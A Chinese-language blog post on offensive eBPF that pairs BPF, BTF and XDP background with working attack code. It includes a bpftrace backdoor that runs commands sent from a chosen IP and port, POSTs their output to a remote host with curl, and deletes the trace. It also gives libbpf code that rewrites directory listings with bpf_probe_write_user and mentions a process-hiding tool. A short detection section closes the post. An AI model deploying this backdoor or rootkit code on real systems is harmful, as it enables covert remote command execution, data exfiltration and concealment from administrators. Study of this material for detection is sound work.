This page looks best with JavaScript enabled

offensive eBPF——使用BPF后门、修改文件、隐藏进程

 ·  ☕ 12 min read · 👀... views

BPF综述

BPF功能

BPF核心用例是tracing, observability, perfomance measuring and security tooling.

许多最新的检测、监控软件和性能跟踪工具都是用BPF编写的,尤其是云原生时代(Cilium)

加载BPF程序

加载BPF程序需要root或者CAP_BPF权限

非特权用户只能调用BPF_PROG_TYPE_SOCKET_FILTERBPF_PROG_TYPE_CGROUP_SKB

cat /proc/sys/kernel/unprivileged_bpf_disabled查看权限

sysctl kernel.unprivileged_bpf_disabled=1

  • 值为0表示允许非特权用户调用bpf;
  • 值为1表示禁止非特权用户调用bpf且该值不可再修改,只能重启后修改;
  • 值为2表示禁止非特权用户调用bpf,可以再次修改为0或1。

加载过程如下:

  • Load:用户态程序使用BPF_PROG_LOAD参数调用bpf()来加载程序
  • Config:用户态程序将BPF程序和事件联系起来。例如通过ioctl()调用(例如PERF_EVENT_IOC_SET_BPF)。

BPF程序是非持久性的 所以系统重启了也需要重启

BPF安全相关

  • hook系统调用和用户函数
  • 操作用户数据结构
  • 复写系统调用返回值
  • 调用system()创建新进程
  • 挂在BPF程序到物理设备上 如网卡
  • 新的供应链攻击面
  • 将安全和检测工具混合
  • 一些BPF作为rootkit,一些用来容器逃逸

BTF

BTF 是 BPF CO-RE 的核心之一, 它是是一种与 DWARF 类似的调试信息,但

  • 更通用、表达更丰富,用于描述 C 程序的所有类型信息。
  • 更简单,空间效率更高(使用 BTF 去重算法), 占用空间比 DWARF 低 100x。

如今,让 Linux 内核在运行时(runtime)一直携带 BTF 信息是可行的, 只需在编译时指定 CONFIG_DEBUG_INFO_BTF=y。内核的 BTF 除了被内核自身使用, 现在还用于增强 BPF 校验器自身的能力 —— 某些能力甚至超越了一年之前我们的想象力所及(例如,已经有了直接读取内核内存的能力,不再需要通过 bpf_probe_read() 间接读取了)。

更重要的是,内核已经将这个自描述的权威 BTF 信息(定义结构体的精确内存布局等信息) 通过 sysfs 暴露出来,在 /sys/kernel/btf/vmlinux。 下面的命令将生成一个与所有内核类型兼容的 C 头文件(通常称为 “vmlinux.h”):

$ bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

这里说的”所有“真的是“所有”:包括那些并未通过 kernel-devel package 导出的类型!

有了 vmlinux.h,就无需再像通常的 BPF 程序那样 #include <linux/sched.h>#include <linux/fs.h> 等等头文件, 现在只需要 #include "vmlinux.h",也不用再安装 kernel-devel 了。

不幸的是,BPF(以及 DWARF)并不记录 #define 宏,因此某些常用 的宏可能在 vmlinux.h 中是缺失的。但这些没有记录的宏中 ,最常见的一些已经在 bpf_helpers.h (libbpf 提供的内核侧”库“)提供了。

XDP

XDP全称为eXpress Data Path,是Linux内核网络栈的最底层。它只存在于RX路径上,允许在网络设备驱动内部网络堆栈中数据来源最早的地方进行数据包处理,在特定模式下可以在操作系统分配内存(skb)之前就已经完成处理。

XDP暴露了一个可以加载BPF程序的网络钩子。在这个钩子中,程序能够对传入的数据包进行任意修改和快速决策,避免了内核内部处理带来的额外开销。这使得XDP在性能速度方面成为最佳钩子,例如缓解DDoS攻击等,相关背景知识可以看这篇文章

XDP暴露的钩子具有特定的输入上下文,它是单一输入参数。它的类型为 struct xdp_md,在内核头文件bpf.h 中定义,具体字段如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
/* user accessible metadata for XDP packet hook
 * new fields must be added to the end of this structure
 */
struct xdp_md {
	__u32 data;
	__u32 data_end;
	__u32 data_meta;
	/* Below access go through struct xdp_rxq_info */
	__u32 ingress_ifindex; /* rxq->dev->ifindex */
	__u32 rx_queue_index;  /* rxq->queue_index  */
};

程序执行时,data和data_end字段分别是数据包开始和结束的指针,它们是用来获取和解析传来的数据,第三个值是data_meta指针,初始阶段它是一个空闲的内存地址,供XDP程序与其他层交换数据包元数据时使用。最后两个字段分别是接收数据包的接口和对应的RX队列的索引。当访问这两个值时,BPF代码会在内核内部重写,以访问实际持有这些值的内核结构struct xdp_rxq_info。

在处理完一个数据包后,XDP程序会返回一个动作(Action)作为输出,它代表了程序退出后对数据包应该做什么样的最终裁决,也是在内核头文件bpf.h 定义了以下5种动作类型:

1
2
3
4
5
6
7
enum xdp_action {
	XDP_ABORTED = 0, // Drop packet while raising an exception
	XDP_DROP, // Drop packet silently
	XDP_PASS, // Allow further processing by the kernel stack
	XDP_TX, // Transmit from the interface it came from
	XDP_REDIRECT, // Transmit packet from another interface
};

image-20220621155731752

libbpf && libbpf-bootstrap

libbpf是为快速构建bpf程序的一个库,与bcc类似,需要编写bpf程序和一个装载程序,对于编写tracepoint、kprobe、uprobe等来说比较便捷。

bpf编写的xdp程序可以直接用命令挂在到网卡 不一定需要装载器,其中libbpf-boorstrap只提供了rust的写法(对于没有学过rust的同学不太友好),直接硬搬c写法的话是装载不上的。

libbpf or libbpf-bootstrap的写法中常出现SEC(“tracepoint/…")的写法,这只是代码段的命名,对于tracepoint、uprobe等会根据其挂在到对应的点上。但是对于SEC(“xdp/."),直接照抄libbpf-bootstrap的c写法会报错,可以采用编译后手动挂载的方法,如果会rust也可以参考库中rust写法,也可以参照xdp-tutorial的写法。

1
2
3
4
5
6
clang -O2 -target bpf -c xdp-drop.c -o xdp-drop.o -I /usr/include/x86_64-linux-gnu
sudo ip link set dev docker0 xdp obj xdp-drop.o sec xdp verbose
sudo ip link list
docker run -d -p 80:80 nginx
curl 127.0.0.1
sudo ip link set dev docker0 xdp off

bpftrace backdoor

Validator

假设用户已经获取一个root shell,希望用bpf搭建隐藏性更好的后门。

可以使用远程IP地址和TCP连接的源端口号的组合来触发BPF程序。

要注意的是网络是大端传输,所以我们从结构体中取出的ip地址数是ip地址的大端数 具体可转化为hex然后倒序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
>>> hex(2156439744)
'0x8088a8c0'
>>> 0xc0
192
>>> 0xa8
168
>>> 0x88
136
>>> 0x80
128

以下是最简单的触发器 如果来源IP和端口满足条件就执行某系统命令(此处是直接照抄ref的实现 做完后回头看来是十分不成熟的写法)

include/net/sock.h

#include <net/sock.h>

BEGIN
{
  printf("Welcome to Offensive BPF... Use Ctrl-C to exit.\n");
  printf("Allowed IP: %u (=> %s). Magic Port: %u\n", $1, ntop(AF_INET, $1), $2);
}

kretprobe:inet_csk_accept
{
  $sk = (struct sock *) retval;

  // only supporting IPv4
  if ( $sk->__sk_common.skc_family == AF_INET )
  {
    printf("->%s: Checking RemoteAddr... %s (%u).\n", 
      func,
      ntop($sk->__sk_common.skc_daddr),
      $sk->__sk_common.skc_daddr);
    //is IP allowed?
    if ($sk->__sk_common.skc_daddr == (uint32)$1)
    {
      printf("->%s: IP check passed.\n", func);
      $src_port_tmp = (uint16) $sk->__sk_common.skc_dport;
      $src_port     = (( $src_port_tmp  >> 8) | (( $src_port_tmp << 8) & 0x00FF00));

      printf("->%s: Checking port: %d...\n", func, $src_port);

      if ($src_port == (uint16) $2)
      {
        printf("->%s: Magic port check passed.\n", func); 
        system("whoami >> /proc/1/root/tmp/o");
        printf("->%s: Command executed.\n", func);
      }
      else
      {
        printf("->%s: Magic port check FAILED.\n", func);
      }
    }
  }
}

image-20220617012407517

Backdoor

完成了验证之后就是获取并执行用户传入的命令

可以hook sys_enter_read 但是还没有填充数据,sys_exit_read填充完数据但是sys_exit_read并不能访问到buf参数。

所以可以在 sys_enter_read 内部时将指针存储在 BPF 映射中,然后在 sys_exit_read 中读取和使用该指针来解决的。

当然需要暴露在公网的服务来传数据 如上面使用nginx开了个web服务

对于 OpenSSH,要hook用户空间。 SSH 服务器只通过 read() 读取单个字节,这使得使用 bpftrace 解析和连接字节或遍历正确的结构有点麻烦。

starce查看nginx获取系统调用信息的 发现使用的是recvfrom系统调用

PS:可以直接在此处看到函数参数 (刚开始一直疯狂解析像个傻逼)

1
2
3
4
5
6
7
8
➜  bpfbackdoor sudo strace -p 14911
strace: Process 14911 attached
epoll_wait(10, [{events=EPOLLIN, data={u32=2632245264, u64=140448062824464}}], 512, -1) = 1
accept4(7, {sa_family=AF_INET, sin_port=htons(47722), sin_addr=inet_addr("192.168.136.128")}, [112 => 16], SOCK_NONBLOCK) = 23
epoll_ctl(10, EPOLL_CTL_ADD, 23, {events=EPOLLIN|EPOLLRDHUP|EPOLLET, data={u32=2632245985, u64=140448062825185}}) = 0
epoll_wait(10, [{events=EPOLLIN, data={u32=2632245985, u64=140448062825185}}], 512, 60000) = 1
recvfrom(23, "GET / HTTP/1.1\r\nHost: 192.168.13"..., 1024, 0, NULL, NULL) = 79
stat("/usr/share/nginx/html/index.html", {st_mode=S_IFREG|0644, st_size=615, ...}) = 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
➜  bpfbackdoor sudo bpftrace -lv 'tracepoint:*recvfrom*'
tracepoint:syscalls:sys_enter_recvfrom
    int __syscall_nr
    int fd
    void * ubuf
    size_t size
    unsigned int flags
    struct sockaddr * addr
    int * addr_len
tracepoint:syscalls:sys_exit_recvfrom
    int __syscall_nr
    long ret

解析recvfrom无法获取地址 所以解析accept

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
➜  bpfbackdoor sudo bpftrace -lv 'tracepoint:syscalls:sys_enter_accept*'
tracepoint:syscalls:sys_enter_accept
    int __syscall_nr
    int fd
    struct sockaddr * upeer_sockaddr
    int * upeer_addrlen
tracepoint:syscalls:sys_enter_accept4
    int __syscall_nr
    int fd
    struct sockaddr * upeer_sockaddr
    int * upeer_addrlen
    int flags

小坑

不知道为什么不能这样用 两个地址是一样的

1
2
printf("%lld %lld\n",@sys_read[tid],@sys_read[tid]+9);
94836210655648 94836210655648

命令只有输入的命令 没法拼接

1
2
printf("%s %s", $cmd, "> /tmp/o");
cat /etc/passwd

经过测试是变量不允许改变赋值(如下方代码dport_tmp处不能替换成dport 否则dport还是获取的网络中的大端数 后面修改为小端赋值失败)

只有printf和system也只有第一个format允许静态数据 后续args需为变量(应该是权限问题)

最终代码

最终代码如下,因为要找到sock然后匹配地址 所以不全是tracepoint 用了一个kprobe,不是很优雅

一个注意点是数组可以嵌套多维,用来表示条件和存储变量比较优雅

还有一个注意点是各个trace之间的条件关系 否则会输出无关数据或者无法输出需要的数据 因为前面收到的变量记录为指针到下一个trace很可能数据已经被改变

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <net/sock.h>
#include <linux/in.h>
#include <linux/socket.h>

BEGIN
{
    printf("Welcome to Offensive BPF... Use Ctrl-C to exit.\n");
}

tracepoint:syscalls:sys_exit_accept*
{
    @fd[tid] = args->ret;
}

kprobe:sock_recvmsg
/ @fd[tid] /
{
    @socks[@fd[tid]] = (struct socket *)arg0;
}

tracepoint:syscalls:sys_enter_recvfrom
/ @fd[tid] /
{
    printf("->sys_enter_read for allowed thread (fd: %d)\n", args->fd);
    @sys_read[tid] = args->ubuf;
}

tracepoint:syscalls:sys_exit_recvfrom
/ @socks[@fd[tid]] /
{
	$sock = @socks[@fd[tid]];
	$dport_tmp = (uint16)$sock->sk->__sk_common.skc_dport;
	$dport = (( $dport_tmp  >> 8) | (( $dport_tmp << 8) & 0x00FF00));
    printf("addr:%s port:%d\n", ntop($sock->sk->__sk_common.skc_daddr), $dport);

    if ($dport == 7777 && $sock->sk->__sk_common.skc_daddr == 2156439744)
    {
        $len = args->ret;
        $cmd = str(@sys_read[tid], $len);
        printf("Command: %s\n", $cmd);
        system("%s", $cmd);
        system("curl -X POST --data-binary @/tmp/o %s", str($1));
        system("rm -f /tmp/o");
    }
}

运行结果如下图:两个linux shell 两个windows powershell。其中powershell监听发过来的数据,linux挂载backdoor,后台启动一个nginx端口映射到80端口,开另一个linux shell使用nc指定7777端口去访问本机的80端口发送命令触发后门,因为符合代码中检测的来源ip和端口所以成功触发执行cat /etc/passwd并发送到远程windows监听处;再次使用win主机尝试连接靶机,由于目标ip不符合条件,所以没能触发后门。

image-20220617234118729

Malicious bpf

如果要在BPF执行期间修改数据结构可以使用bpf_probe_write_user,但是这在bpftrace中似乎不可用,所以还得看C

覆盖用户空间数据可以实现一下目的:

  • 修改文件名:类似ls工具可以多或少数据一些信息,比如说输出一个:hacked_by_ruokeqx的文件
  • 隐藏目录或rootkit:隐藏文件名下一步就是隐藏目录并且进而隐藏进程信息 (通过 /proc/ 文件系统)
  • 勒索软件模拟:红蓝对抗模拟勒索软件时的临时工具
  • 检测:BPF检测新姿势

可以使用libbpf库和libbppf-bootstrap库并用Clang和LLVM带-target bpf参数编译

libbp-bootstrap库用了libbpf以及CO-RE特性以便能够快速构建BPF程序

libbpf使用较低级的构造,而BPF程序是用C编写的,而bpftrace则是快速编写简单的“类脚本”BPF程序的抽象。因此,libbpf允许更多的功能和控制,但这意味着要编写更多的代码。

要多做的步骤其实和bcc与bpftrace的差别大致相同 需要添加映射并且添加trace point

使用bpftrace映射,其中只需要简单的变量名—不需要其他任何东西。在libbpf中,必须定义保存数据的结构,并使用bpf_helper函数来更新或删除值

修改文件名

程序基于libbpf-bootstrap搭建,bootstrap演示了BPF全局变量的使用(Linux 5.5+)和BPF环缓冲区的使用(Linux 5.8+)

bootstrap.c是用户态加载器 bootstrap.bpf.c是bpf代码 bootstrap.h是头文件 vmlinux.h提供内核系统调用等信息

通过strace可以查看系统调用 要修改文件名需要hook sys_exit_getdents64,可以通过bpftrace获取参数 其中/sys/kernel/btf/vmlinux文件是否存在表示是否开启BTF

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ sudo bpftrace -lv tracepoint:syscalls:sys*dents64
BTF: using data from /sys/kernel/btf/vmlinux
tracepoint:syscalls:sys_enter_getdents64
    int __syscall_nr;
    unsigned int fd;
    struct linux_dirent64 * dirent;
    unsigned int count;
tracepoint:syscalls:sys_exit_getdents64
    int __syscall_nr;
    long ret;

编写如下代码 目的是获取数据并向d_entry中填充值 以便sys_exit_getdents64访问

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
SEC("tracepoint/syscalls/sys_enter_getdents64")
int handle_enter_getdents64(struct trace_event_raw_sys_enter *ctx)
{
    tid_t tid = bpf_get_current_pid_tgid();

    struct linux_dirent64 *d_entry = (struct linux_dirent64 *) ctx->args[1]; 
    if (d_entry == NULL)
    {
        return 0;
    }

    bpf_map_update_elem(&dir_entries, &tid, &d_entry, BPF_ANY);
    
    return 0;
}

相比起来获取变量 bpftrace就方便很多

tracepoint:syscalls:sys_enter_getdents64
{  
  @dir_entries[tid] = args->dirent;
}

但是由于bpftrace在覆盖用户空间数据结构和迭代方面的限制,还是只能使用libbpf

hook sys_exit_getdents64获取enter时保存的结构体 接下来可以遍历所有文件名然后通过bpf_probe_write_user修改

迭代次数限制在256次

通过使用bpf_printk进行调试打印 sudo cat /sys/kernel/debug/tracing/trace_pipe获取输出

可以通过d_type 不等于 DT_DIR (4)来跳过目录

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
SEC("tracepoint/syscalls/sys_exit_getdents64")
int handle_exit_getdents64(struct trace_event_raw_sys_exit *ctx)
{
    struct task_struct *task;
    struct event       *e;

    task = (struct task_struct *)bpf_get_current_task();
    tid_t tid = bpf_get_current_pid_tgid();

    long unsigned int * dir_addr  = bpf_map_lookup_elem(&dir_entries, &tid);
    if (dir_addr == NULL)
    {
        return 0;
    }

    bpf_map_delete_elem(&dir_entries, &tid);

    /* Loop over directory entries */
    struct linux_dirent64 * d_entry;
    unsigned short int      d_reclen;
    unsigned short int      d_name_len; 
    long                    offset = 0;

    long unsigned int d_entry_base_addr = *dir_addr;
    long              ret               = ctx->ret;

    //MAX_D_NAME_LEN == 128 - const isn't working with allocation here...
    char d_name[128];  
    int  count = 16;
    char d_type;

    int i=0;
    while (i < 256)   // limitation for now, only examine the first 256 entries
    {
        bpf_printk("Loop %d: offset: %d, total len: %d", i, offset, ret);

        if (offset >= ret)
        {
            break;
        }

        d_entry = (struct linux_dirent64 *) (d_entry_base_addr + offset);

        // read d_reclen
        bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &d_entry->d_reclen);

        // skip if it's a directory entry
        bpf_probe_read_user(&d_type, sizeof(d_type), &d_entry->d_type);
        if (d_type == DT_DIR)
        {
            offset += d_reclen;
            i++;
            continue;
        }

        //read d_name
        d_name_len = d_reclen - 2 - (offsetof(struct linux_dirent64, d_name));
        long success = bpf_probe_read_user(&d_name, MAX_D_NAME_LEN, d_entry->d_name);
        if ( success != 0 )
        {
            offset += d_reclen;
            i++;
            continue;
        }

        bpf_printk("d_reclen: %d, d_name_len: %d, %s", d_reclen, d_name_len, d_name);

        /* match and overwrite */
        if ( d_name_len > 7 )
        {	
            bpf_printk("** sys_enter_getdents64 ** OVERWRITING"); 		
            
            char replace[] = "ruokeqx";

            // overwrite the user space d_name buffer
            long success = bpf_probe_write_user((char *) &d_entry->d_name, (char *) replace, sizeof(char) * 7);
            bpf_printk("** RESULT %d", success); 
        }

        offset += d_reclen;
        i++;
    }
	
    return 0;
}

运行结果如图 可以看到所有文件名都被修改了

image-20220620172918255

隐藏进程

bad-bpf库提供的功能,思路很简单,显示就是遍历dir entry然后输出名字,下一个dir entry是当前dir entry+d_reclen,sys read hook处遍历的时候发现是自己的dir entry后把前一个的dir entry中d_reclen加上自己dir entry的d_reclen就实现了绕过了,返回到用户态会直接绕过这个entry。

image-20220620221936797

1
sudo ./pidhide -p 3953

image-20220623231529832

检测

Detection: BPF

检测主要是围绕BPF()系统调用获取信息,当然需要确保你的工具获取的是正确的信息(因为你的工具可能被trace 甚至BPF系统调用可能被trace)

最常见的就是内核中自带的工具bpftool,在之前的文章中也有写过

image-20220618210153114

还有bpflist可以列出当前运行 BPF 的所有用户态程序,他也是一个BPF程序 在bcc的tools目录中

如果已经源码安装过bcc不要再次使用apt包安装 极有可能会依赖损坏(别问我怎么知道)

1
2
3
4
5
➜  tools git:(master) pwd   
/home/ruokeqx/project/bcc/tools
➜  tools git:(master) ls | grep bpflist
bpflist_example.txt
bpflist.py

需要注意的是如果恶意 BPF 程序在日志收集或检测工具运行之前开始运行,那么 BPF 程序可以将自身安装为 rootkit 以逃避检测。

由于BPF不自启动,重启系统也是关闭BPF程序的一种方法

一些性能检测工具或许会有供应链攻击隐患

Detection:bpf_probe_write_user

bpf_probe_write_user 调用的时候会生成syslog

理论上跟hook BPF系统调用类似 也可以通过hook来bypass syslog

Reference

https://embracethered.com/blog/posts/2021/offensive-bpf/

https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/

https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace-message-based/

https://embracethered.com/blog/posts/2021/offensive-bpf-libbpf-bpf_probe_write_user/

https://nakryiko.com/posts/libbpf-bootstrap

https://tech.meituan.com/2022/04/07/how-to-detect-bad-ebpf-used-in-linux.html

https://github.com/pathtofile/bad-bpf

https://cloud.tencent.com/developer/inventory/600/article/1626925

https://github.com/xdp-project/xdp-tutorial

https://arthurchiao.art/blog/understanding-ebpf-datapath-in-cilium-zh/

https://paper.seebug.org/1867/

https://security.tencent.com/index.php/blog/msg/206

Share on

ruokeqx
WRITTEN BY
ruokeqx